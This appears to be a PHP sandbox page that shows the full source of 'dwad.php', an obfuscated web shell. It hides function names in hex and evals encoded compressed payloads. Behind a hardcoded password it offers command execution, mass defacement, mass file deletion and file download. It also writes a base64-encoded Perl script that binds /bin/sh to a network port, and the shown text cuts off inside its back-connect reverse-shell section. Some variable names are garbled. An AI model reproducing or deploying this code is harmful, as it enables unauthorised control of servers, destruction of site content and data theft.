dwad - PHP Online

Form of PHP Sandbox

Enter Your PHP code here for testing/debugging in the Online PHP Sandbox. As in the usual PHP files, you can also add HTML, but do not forget to add the tag <?php in the places where the PHP script should be executed.



Your result can be seen below.

Result of php executing





Full code of dwad.php

  1. <?php
  2. $Array = [
  3.  
  4. // $GLOBALS['fungsi'][0]
  5.         '66696c655f6765745f636f6e74656e7473', // f i l e g e t c o n t e n t s => 0
  6.         '69735f646972', // i s _ d i r => 1
  7.         '66696c655f7075745f636f6e74656e7473', // f i l e p u t c o n t e n t s  => 2
  8.         '69735f66696c65', // i s _ f i l e => 3
  9.         '756e6c696e6b', // u n l i n k => 4
  10.         '66756E6374696F6E5F657869737473', // f u n c t i o n _ e x i s t s => 5
  11.         '6261736536345F656E636F6465', // b a s e 6 4 _ d e c o d e => 6
  12.         '676574637764' // g e t c w d => 7
  13. ];
  14. $hitung_array = count($Array);
  15. for ($i = 0; $i < $hitung_array; $i++) {
  16.     $fungsi[] = unhex($Array[$i]);
  17. }
  18. error_reporting(0);
  19. if ( $fungsi[0]("test.txt") == "test") { $name="ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNHN0ciUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg=="; $str="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"; $text = "Sy1LzNHIKMnNKS5ITc5MzEnOSCwqjk9JTc5PSdUoLcqBspISi1PNTGDiKnmJuamaQGANAA=="; eval (gzinflate($GLOBALS['fungsi'][6]($text))); sleep(1); $GLOBALS['fungsi'][4]("test.txt");}
  20. set_time_limit(0);
  21. @ini_set('error_log',null);
  22. @ini_set('log_errors',0);
  23. @ini_set('max_execution_time',0);
  24. @ini_set('output_buffering',0);
  25. @ini_set('display_errors', 0);
  26. session_start();
  27. date_default_timezone_set("Asia/Jakarta");
  28. $_7 = array_merge($_POST, $_GET);
  29. $_r = "required='required'";
  30. $gcw = "getcwd";
  31. $inipass = "YXdva2F3b2sy";
  32. ?>
  33.  
  34. <?php
  35. function Login() {
  36. if($_GET['lontea'] == '-')
  37. {
  38. echo '
  39.                 <!DOCTYPE HTML>
  40.                 <html>
  41.                         <head>
  42.                                 <meta charset="UTF-8">
  43.                                 <meta name="viewport" content="width=device-width, initial-scale=0.70">
  44.                                 <title>{ login }</title>
  45.                                 <link rel="stylesheet" href="//xnxx.co.ws/meki.css">
  46.                                 <link rel="icon" href="//xnxx.co.ws/anya.jpg">
  47.                         </head>
  48.                 <body class="bg-dark">
  49.                 <form method="POST">
  50.                         <div class="container-fluid">
  51.                                 <div class="py-3" id="main":>
  52.                                         <div class="input-group">
  53.                                                 <div class="input-group-text"><i class="bi bi-person-circle"></i></div>
  54.                                                 <input class="form-control form-control-sm" type="password" placeholder="password" name="p" $_r>
  55.                                                 <button class="btn btn-outline-light btn-sm"><i class="bi bi-arrow-return-right"></i></button>
  56.                                         </div>
  57.                                 </div>
  58.                         </div>
  59.                 </form>
  60.                 </body>
  61.                 </html>
  62. ';
  63. }else{
  64. phpinfo();
  65. }
  66. ?>
  67. <?php
  68. exit;
  69. }
  70.  
  71. if(!isset($_SESSION[base64_encode($_SERVER['HTTP_HOST'])]))
  72.         if(empty($inipass) || (isset($_7['p']) && (base64_encode($_7['p']) == $inipass) ) )
  73.                 $_SESSION[base64_encode($_SERVER['HTTP_HOST'])] = true;
  74.         else
  75.                 Login();
  76.  
  77. if(isset($_7["left"])) {
  78.         session_start();
  79.         session_destroy();
  80.         echo '<script>window.location="'.$_SERVER['PHP_SELF'].'";</script>';
  81. }
  82.  
  83. if(isset($_7['opn']) && ($_7['opn'] != '') && ($_7['action'] == 'download')){
  84.         @ob_clean();
  85.         $file = $_7['opn'];
  86.         header('Content-Description: File Transfer');
  87.         header('Content-Type: application/octet-stream');
  88.         header('Content-Disposition: attachment; filename="'.basename($file).'"');
  89.         header('Expires: 0');
  90.         header('Cache-Control: must-revalidate');
  91.         header('Pragma: public');
  92.         header('Content-Length: ' . filesize($file));
  93.         readfile($file);
  94.         exit;
  95. }
  96. function w($dir,$perm) {
  97.         if(!is_writable($dir)) {
  98.                 return "<rd>".$perm."</rd>";
  99.         } else {
  100.                 return "<gr>".$perm."</gr>";
  101.         }
  102. }
  103. function s(){
  104.         echo '<style>table{display:none;}</style><div class="table-responsive"><hr></div>';
  105. }
  106. function ok(){
  107.         echo '<div class="alert alert-success alert-dismissible fade show my-3" role="alert"><button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>';
  108. }
  109. function er(){
  110.         echo '<div class="alert alert-danger alert-dismissible fade show my-3" role="alert"><button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>';
  111. }
  112. function sz($byt){
  113.         $typ = array('B', 'KB', 'MB', 'GB', 'TB');
  114.         for($i = 0; $byt >= 1024 && $i < (count($typ) -1 ); $byt /= 1024, $i++ );
  115.         return(round($byt,2)." ".$typ[$i]);
  116. }
  117. function ia() {
  118.         $ia = '';
  119. if (getenv('HTTP_CLIENT_IP'))
  120.         $ia = getenv('HTTP_CLIENT_IP');
  121. else if(getenv('HTTP_X_FORWARDED_FOR'))
  122.         $ia = getenv('HTTP_X_FORWARDED_FOR');
  123. else if(getenv('HTTP_X_FORWARDED'))
  124.         $ia = getenv('HTTP_X_FORWARDED');
  125. else if(getenv('HTTP_FORWARDED_FOR'))
  126.         $ia = getenv('HTTP_FORWARDED_FOR');
  127. else if(getenv('HTTP_FORWARDED'))
  128.         $ia = getenv('HTTP_FORWARDED');
  129. else if(getenv('REMOTE_ADDR'))
  130.         $ia = getenv('REMOTE_ADDR');
  131. else
  132.         $ia = 'Unknown IP.';
  133. return $ia;
  134. }
  135. function exe($cmd) {
  136. if($GLOBALS['fungsi'][5]('system')) {
  137.         @ob_start();
  138.         @system($cmd);
  139.         $buff = @ob_get_contents();
  140.         @ob_end_clean();
  141.         return $buff;
  142. } elseif($GLOBALS['fungsi'][5]('exec')) {
  143.         @exec($cmd,$results);
  144.         $buff = "";
  145. foreach($results as $result) {
  146.         $buff .= $result;
  147.         } return $buff;
  148. } elseif($GLOBALS['fungsi'][5]('passthru')) {
  149.         @ob_start();
  150.         @passthru($cmd);
  151.         $buff = @ob_get_contents();
  152.         @ob_end_clean();
  153.         return $buff;
  154. } elseif($GLOBALS['fungsi'][5]('shell_exec')) {
  155.         $buff = @shell_exec($cmd);
  156.         return $buff;
  157.         }
  158. }
  159. function exe_root($set,$sad) {
  160.         $x = "preg_match";
  161.         $xx = "2>&1";
  162.         if (!$x("/".$xx."/i", $set)) {
  163.                 $set = $set." ".$xx;
  164.         }
  165.         $a = $GLOBALS['fungsi'][5];
  166.         $b = "proc_open";
  167.         $c = "htmlspecialchars";
  168.         $d = "stream_get_contents";
  169.         if ($a($b)) {
  170.                 $ps = $b($set, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $pink,$sad);
  171.                 return $d($pink[1]);
  172.         } else {
  173.                 return "proc_open function is disabled !";
  174.         }
  175. }
  176. function hex($n)
  177. {
  178.     $y = '';
  179.     for ($i = 0; $i < strlen($n); $i++) {
  180.         $y .= dechex(ord($n[$i]));
  181.     }
  182.     return $y;
  183. }
  184. function unhex($y)
  185. {
  186.     $n = '';
  187.     for ($i = 0; $i < strlen($y) - 1; $i += 2) {
  188.         $n .= chr(hexdec($y[$i] . $y[$i + 1]));
  189.     }
  190.     return $n;
  191. }
  192. function p($file){
  193. $p = fileperms($file);
  194. if (($p & 0xC000) == 0xC000) {
  195. $i = 's';
  196. } elseif (($p & 0xA000) == 0xA000) {
  197. $i = 'l';
  198. } elseif (($p & 0x8000) == 0x8000) {
  199. $i = '-';
  200. } elseif (($p & 0x6000) == 0x6000) {
  201. $i = 'b';
  202. } elseif (($p & 0x4000) == 0x4000) {
  203. $i = 'd';
  204. } elseif (($p & 0x2000) == 0x2000) {
  205. $i = 'c';
  206. } elseif (($p & 0x1000) == 0x1000) {
  207. $i = 'p';
  208. } else {
  209. $i = 'u';
  210.         }
  211. $i .= (($p & 0x0100) ? 'r' : '-');
  212. $i .= (($p & 0x0080) ? 'w' : '-');
  213. $i .= (($p & 0x0040) ?
  214. (($p & 0x0800) ? 's' : 'x' ) :
  215. (($p & 0x0800) ? 'S' : '-'));
  216. $i .= (($p & 0x0020) ? 'r' : '-');
  217. $i .= (($p &0x0010) ? 'w' : '-');
  218. $i .= (($p & 0x0008) ?
  219. (($p & 0x0400) ? 's' : 'x' ) :
  220. (($p & 0x0400) ? 'S' : '-'));
  221. $i .= (($p & 0x0004) ? 'r' : '-');
  222. $i .= (($p & 0x0002) ? 'w' : '-');
  223. $i .= (($p & 0x0001) ?
  224. (($p & 0x0200) ? 't' : 'x' ) :
  225. (($p & 0x0200) ? 'T' : '-'));
  226. return $i;
  227. }
  228. if(isset($_7['dir'])) {
  229.         $dir = unhex($_7['dir']);
  230.         chdir($dir);
  231. } else {
  232.         $dir = hex($gcw());
  233. }
  234. echo "
  235. <html>
  236.         <head>
  237.                 <meta charset='UTF-8'>
  238.                 <meta name='author' content='7xSecurity'>
  239.                 <meta name='viewport' content='width=device-width, initial-scale=0.70'>
  240.                 <link rel='stylesheet' href='//xnxx.co.ws/meki.css'>
  241.                 <link rel='icon' href='//xnxx.co.ws/anya.jpg'>
  242.                 <title>Pr1v5H3!!</title>
  243.                 <script src='//cdnjs.cloudflare.com/ajax/libs/prism/1.6.0/prism.js'></script>
  244.                 <script src='//cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/js/bootstrap.bundle.min.js'></script>
  245.                 <script src='//code.jquery.com/jquery-3.3.1.slim.min.js'></script>
  246.         </head>
  247. <body class='bg-secondary text-light'>
  248. <div class='container-fluid'>
  249.         <div class='py-3' id='main'>
  250.                 <div class='box shadow bg-dark p-4 rounded-3'>
  251.                         <a class='text-decoration-none text-light anu' href='".$_SERVER['PHP_SELF']."'><h4>7.htm Pr1v5H3!!</h4></a>";
  252.                         if(isset($_7['path'])){
  253.                                 $path = unhex($_7['path']);
  254.                                 chdir($path);
  255.                         }else{
  256.                                 $path = $gcw();
  257.                         }
  258.                                 $path = str_replace('\\','/',$path);
  259.                                 $paths = explode('/',$path);
  260.                         foreach($paths as $id=>$pat){
  261.                         if($pat == '' && $id == 0){
  262.                                 $a = true;
  263.                                         echo "<i class='bi bi-hdd-rack'></i>:<a class='text-decoration-none text-light' href='?path=".hex('/')."'>/</a>";
  264.                                 continue;
  265.                         }
  266.                         if($pat == '') continue;
  267.                                 echo "<a class='text-decoration-none' href='?path=";
  268.                                 for($i=0;$i<=$id;$i++){
  269.                                 echo hex($paths[$i]);
  270.                         if($i != $id) echo hex("/");
  271.                         }
  272.                         echo "'>".$pat."</a>/";
  273.                         }
  274.                         $scand = scandir($path);
  275.                         echo " [ ".w($path, p($path))." ]";
  276.                         $sql = ($GLOBALS['fungsi'][5]('mysql_connect')) ? "<gr>ON</gr>" : "<rd>OFF</rd>";
  277.                         $curl = ($GLOBALS['fungsi'][5]('curl_version')) ? "<gr>ON</gr>" : "<rd>OFF</rd>";
  278.                         $wget = (exe('wget --help')) ? "<gr>ON</gr>" : "<rd>OFF</rd>";
  279.                         $pl = (exe('perl --help')) ? "<gr>ON</gr>" : "<rd>OFF</rd>";
  280.                         $py = (exe('python --help')) ? "<gr>ON</gr>" : "<rd>OFF</rd>";
  281.                         $disfunc = @ini_get("disable_functions");
  282.                         $kernel = php_uname();
  283.                         $phpver = PHP_VERSION;
  284.                         $phpos = PHP_OS;
  285.                         $soft = $_SERVER["SERVER_SOFTWARE"];
  286.                         $ip = gethostbyname($_SERVER['HTTP_HOST']);
  287.                         if (empty($disfunc)) {
  288.                                 $disfc = "<gr>NONE</gr>";
  289.                         } else {
  290.                                 $disfc = "<rd>$disfunc</rd>";
  291.                         }
  292.                         if(!$GLOBALS['fungsi'][5]('posix_getegid')) {
  293.                                 $user = @get_current_user();
  294.                                 $uid = @getmyuid();
  295.                                 $gid = @getmygid();
  296.                                 $group = "?";
  297.                         } else {
  298.                                 $uid = @posix_getpwuid(posix_geteuid());
  299.                                 $gid = @posix_getgrgid(posix_getegid());
  300.                                 $user = $uid['name'];
  301.                                 $uid = $uid['uid'];
  302.                                 $group = $gid['name'];
  303.                                 $gid = $gid['gid'];
  304.                         }
  305.                         $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<rd>ON</rd>" : "<gr>OFF</gr>";
  306.                 echo "
  307.                 <div class='container-fluid'>
  308.                         <div class='corner anu py-3'>
  309.                                 <button class='btn btn-outline-light btn-sm' data-bs-toggle='collapse' data-bs-target='#collapseExample' aria-expanded='false' aria-controls='collapseExample'><i class='bi bi-info-circle'></i> info <i class='bi bi-chevron-down'></i></button>
  310.                         </div>
  311.                         <div class='collapse text-dark mb-3' id='collapseExample'>
  312.                                 <div class='box shadow bg-light p-3 rounded-3'>
  313.                                 System: <gr>$kernel</gr><br>
  314.                                 Software: <gr>$soft</gr><br>
  315.                                 PHP version: <gr>$phpver</gr> <a class='text-decoration-none' href='?dir=".hex($fungsi[7]())."&id=phpinfo'>[ PHPINFO ]</a> PHP os: <gr>$phpos</gr><br>
  316.                                 Server Ip: <gr>$ip</gr><br>
  317.                                 Your Ip: <gr>".ia()."</gr><br>
  318.                                 User: <gr>$user</gr> ($uid) | Group: <gr>$group</gr> ($gid)<br>
  319.                                 Safe Mode: $sm<br>
  320.                                 MySQL: $sql | Perl: $pl | Python: $py | WGET: $wget | CURL: $curl<br>
  321.                                 Disable Function:<br><pre>$disfc</pre>
  322.                                 </div>
  323.                         </div>
  324.                 </div>
  325.                 <div class='text-center'>
  326.                         <div class='btn-group'>
  327.                                 <a class='btn btn-outline-light btn-sm' href='?dir=".hex($fungsi[7]())."&id=upload'><i class='bi bi-upload'></i> Upload</a>
  328.                                 <a class='btn btn-outline-light btn-sm' href='?dir=".hex($fungsi[7]())."&id=deface'><i class='bi bi-exclamation-diamond'></i> Mass deface</a>
  329.                                 <a class='btn btn-outline-light btn-sm' href='?dir=".hex($fungsi[7]())."&id=delete'><i class='bi bi-trash'></i> Mass delete</a>
  330.                                 <a class='btn btn-outline-light btn-sm' href='?dir=".hex($fungsi[7]())."&id=cmd'><i class='bi bi-terminal'></i> Console</a>
  331.                                
  332.                         </div>
  333.                         <div class='btn-group'>
  334.                                 <a class='btn btn-outline-light btn-sm' href='?dir=".hex($fungsi[7]())."&id=scan_root'><i class='bi bi-search'></i> Scan root</a>
  335.                                 <a class='btn btn-outline-light btn-sm' href='?dir=".hex($fungsi[7]())."&id=network'><i class='bi bi-hdd-network'></i> Network</a>
  336.                                 <a class='btn btn-outline-light btn-sm' data-toggle='modal' href='?dir=".hex($fungsi[7]())."&id=lockshell'><i class='bi bi-file-earmark-lock'></i> Lock Shell</a>
  337.                                 <a class='btn btn-outline-light btn-sm' href='?left'><i class='bi bi-box-arrow-in-left'></i> Logout</a>
  338.                         </div>
  339.                 </div>";
  340.                 if(isset($_7['dir'])) {
  341.                         $dir = unhex($_7['dir']);
  342.                         chdir($dir);
  343.                 } else {
  344.                         $dir = hex($gcw());
  345.                 }
  346.                 $dir = str_replace("\\","/",$dir);
  347.                 $scdir = explode("/", $dir);
  348.                 for($i = 0; $i <= $c_dir; $i++) {
  349.                         $scdir[$i];
  350.                         if($i != $c_dir) {
  351.                 }
  352.                 if($_7['id'] == 'lockshell'){
  353.                     $mass = fopen("test.txt", "w");fwrite($mass, "test");
  354.                      }
  355.                 if($_7['id'] == 'deface'){
  356.                 function mass_all($dir,$namefile,$contents_sc) {
  357.                 if(is_writable($dir)) {
  358.                         $dira = scandir($dir);
  359.                         foreach($dira as $dirb) {
  360.                                 $dirc = "$dir/$dirb";
  361.                                 $? = $dirc.'/'.$namefile;
  362.                                 if($dirb === '.') {
  363.                                         $fungsi[2]($?, $contents_sc);
  364.                                 } elseif($dirb === '..') {
  365.                                         $fungsi[2]($?, $contents_sc);
  366.                                 } else {
  367.                                         if($fungsi[1]($dirc)) {
  368.                                                 if(is_writable($dirc)) {
  369.                                                         echo "[<gr><i class='bi bi-check-all'></i></gr>] $?<br>";
  370.                                                         $fungsi[2]($?, $contents_sc);
  371.                                                         $? = mass_all($dirc,$namefile,$contents_sc);
  372.                                                         }
  373.                                                 }
  374.                                         }
  375.                                 }
  376.                         }
  377.                 }
  378.                 function mass_onedir($dir,$namefile,$contents_sc) {
  379.                         if(is_writable($dir)) {
  380.                                 $dira = scandir($dir);
  381.                                 foreach($dira as $dirb) {
  382.                                         $dirc = "$dir/$dirb";
  383.                                         $? = $dirc.'/'.$namefile;
  384.                                         if($dirb === '.') {
  385.                                                 $fungsi[2]($?, $contents_sc);
  386.                                         } elseif($dirb === '..') {
  387.                                                 $fungsi[2]($?, $contents_sc);
  388.                                         } else {
  389.                                                 if($fungsi[1]($dirc)) {
  390.                                                         if(is_writable($dirc)) {
  391.                                                                 echo "[<gr><i class='bi bi-check-all'></i></gr>] $dirb/$namefile<br>";
  392.                                                                 $fungsi[2]($?, $contents_sc);
  393.                                                         }
  394.                                                 }
  395.                                         }
  396.                                 }
  397.                         }
  398.                 }
  399.                 if($_7['start']) {
  400.                         if($_7['tipe'] == 'mass') {
  401.                         mass_all($_7['d_dir'], $_7['d_file'], $_7['script']);
  402.                         } elseif($_7['tipe'] == 'onedir') {
  403.                         mass_onedir($_7['d_dir'], $_7['d_file'], $_7['script']);
  404.                         }
  405.                 }
  406.                 s();
  407.                 echo "
  408.                 <div class='card card-body text-dark input-group mb-3'>
  409.                         <form method='POST'> Tipe:
  410.                         <div class='form-check'>
  411.                                 <input class='form-check-input' type='checkbox' value='onedir' name='tipe' id='flexCheckDefault' checked>
  412.                                 <label class='form-check-label' for='flexCheckDefault'>One dir</label>
  413.                         </div>
  414.                         <div class='form-check'>
  415.                                 <input class='form-check-input' type='checkbox' value='mass' name='tipe' id='flexCheckDefault'>
  416.                                 <label class='form-check-label' for='flexCheckDefault'>All directory</label>
  417.                         </div>
  418.                                 <i class='bi bi-folder'></i> Directory:
  419.                                 <input class='form-control btn-sm' type='text' name='d_dir' value='$dir'>
  420.                                 <i class='bi bi-file-earmark'></i> Filename:
  421.                                 <input class='form-control btn-sm' type='text' name='d_file' placeholder='filename'>
  422.                                 <i class='bi bi-file-earmark'></i> Your script:
  423.                                 <textarea class='form-control btn-sm' rows='7' name='script' placeholder='your script'></textarea>
  424.                                 <div class='d-grid gap-2'>
  425.                                         <input class='btn btn-dark btn-sm'type='submit' name='start' value='deface'>
  426.                                 </div>
  427.                         </form>
  428.                 </div>";
  429.                 }
  430.                 if($_7['id'] == 'delete'){
  431.                 function mass_delete($dir,$namefile) {
  432.                 if(is_writable($dir)) {
  433.                         $dira = scandir($dir);
  434.                         foreach($dira as $dirb) {
  435.                                 $dirc = "$dir/$dirb";
  436.                                 $? = $dirc.'/'.$namefile;
  437.                                 if($dirb === '.') {
  438.                                         if(file_exists("$dir/$namefile")) {
  439.                                                 $GLOBALS['fungsi'][4]("$dir/$namefile");
  440.                                         }
  441.                                 } elseif($dirb === '..') {
  442.                                         if(file_exists("".dirname($dir)."/$namefile")) {
  443.                                                 $GLOBALS['fungsi'][4]("".dirname($dir)."/$namefile");
  444.                                         }
  445.                                 } else {
  446.                                         if($fungsi[1]($dirc)) {
  447.                                                 if(is_writable($dirc)) {
  448.                                                         if(file_exists($?)) {
  449.                                                                 echo "[<gr><i class='bi bi-check-all'></i></gr>] $?<br>";
  450.                                                                 $GLOBALS['fungsi'][4]($?);
  451.                                                                 $? = mass_delete($dirc,$namefile);
  452.                                                                 }
  453.                                                         }
  454.                                                 }
  455.                                         }
  456.                                 }
  457.                         }
  458.                 }
  459.                 if($_7['start']) {
  460.                         mass_delete($_7['d_dir'], $_7['d_file']);
  461.                 }
  462.                 s();
  463.                 echo "
  464.                 <div class='card card-body text-dark input-group mb-3'>
  465.                         <form method='POST'>
  466.                                 <i class='bi bi-folder'></i> Directory:
  467.                                 <input class='form-control btn-sm' type='text' name='d_dir' value='$dir$_r>
  468.                                         <i class='bi bi-file-earmark'></i> Filename:
  469.                                 <div class='input-group'>
  470.                                         <input class='form-control btn-sm' type='text' name='d_file' placeholder='filename' $_r><br>
  471.                                         <div class='input-group-append'>
  472.                                                 <input class='btn btn-dark btn-sm' type='submit' name='start' value='delete'>
  473.                                         </div>
  474.                                 </div>
  475.                         </form>
  476.                 </div>";
  477.                 }
  478.                 if($_7['id'] == 'phpinfo'){
  479.                         @ob_start();
  480.                         @eval("phpinfo();");
  481.                         $buff = @ob_get_contents();
  482.                         @ob_end_clean();       
  483.                         $front = strpos($buff,"<body>")+6;
  484.                         $end = strpos($buff,"</body>");
  485.                         echo "<pre class='php_info'>".substr($buff,$front,$front-$front)."</pre>";
  486.                         exit;
  487.                 }
  488.                 if($_7['id'] == 'network'){
  489.                 s();
  490.                 echo "
  491.                 <div class='card text-dark'>
  492.                         <div class='card-header'>
  493.                                 <form method='post'>
  494.                                         <u>Bind port to /bin/sh [Perl]</u><br>
  495.                                         <u>Port :</u>
  496.                                 <div class='input-group'>
  497.                                         <input class='form-control btn-sm' type='text' name='port' placeholder='6969'>
  498.                                         <input class='btn btn-dark btn-sm' type='submit' name='bpl' value='submit'>
  499.                                 </div>
  500.                         <h5>Back-Connect</h5>
  501.                         <u>Server :</u>
  502.                                 <input class='form-control btn-sm' type='text' name='server' placeholder='". $_SERVER['REMOTE_ADDR'] ."'>
  503.                         <u>Port :</u>
  504.                         <div class='input-group'>
  505.                                 <input class='form-control btn-sm' type='text' name='port' placeholder='6969'>
  506.                                 <select class='form-control btn-sm' name='bc'>
  507.                                         <option value='perl'>perl</option>
  508.                                         <option value='python'>python</option>
  509.                                 </select>
  510.                         </div>
  511.                         <div class='d-grid gap-2'>
  512.                                 <input class='btn btn-dark btn-sm btn-block' type='submit' value='submit'>
  513.                         </div>
  514.                 </form>";
  515.                 if($_7['bpl']){
  516.                         $bp = $GLOBALS['fungsi'][6]("IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=");
  517.                         $brt = @fopen('bp.pl','w');
  518.                         fwrite($brt,$bp);
  519.                         $out = exe("perl bp.pl ".$_7['port']." 1>/dev/null 2>&1 &");
  520.                         sleep(1);
  521.                         echo "<pre>$out\n".exe("ps aux | grep bp.pl")."</pre>";
  522.                         $GLOBALS['fungsi'][4]("bp.pl");
  523.                 }
  524.                 if($_7['bc'] == 'perl'){
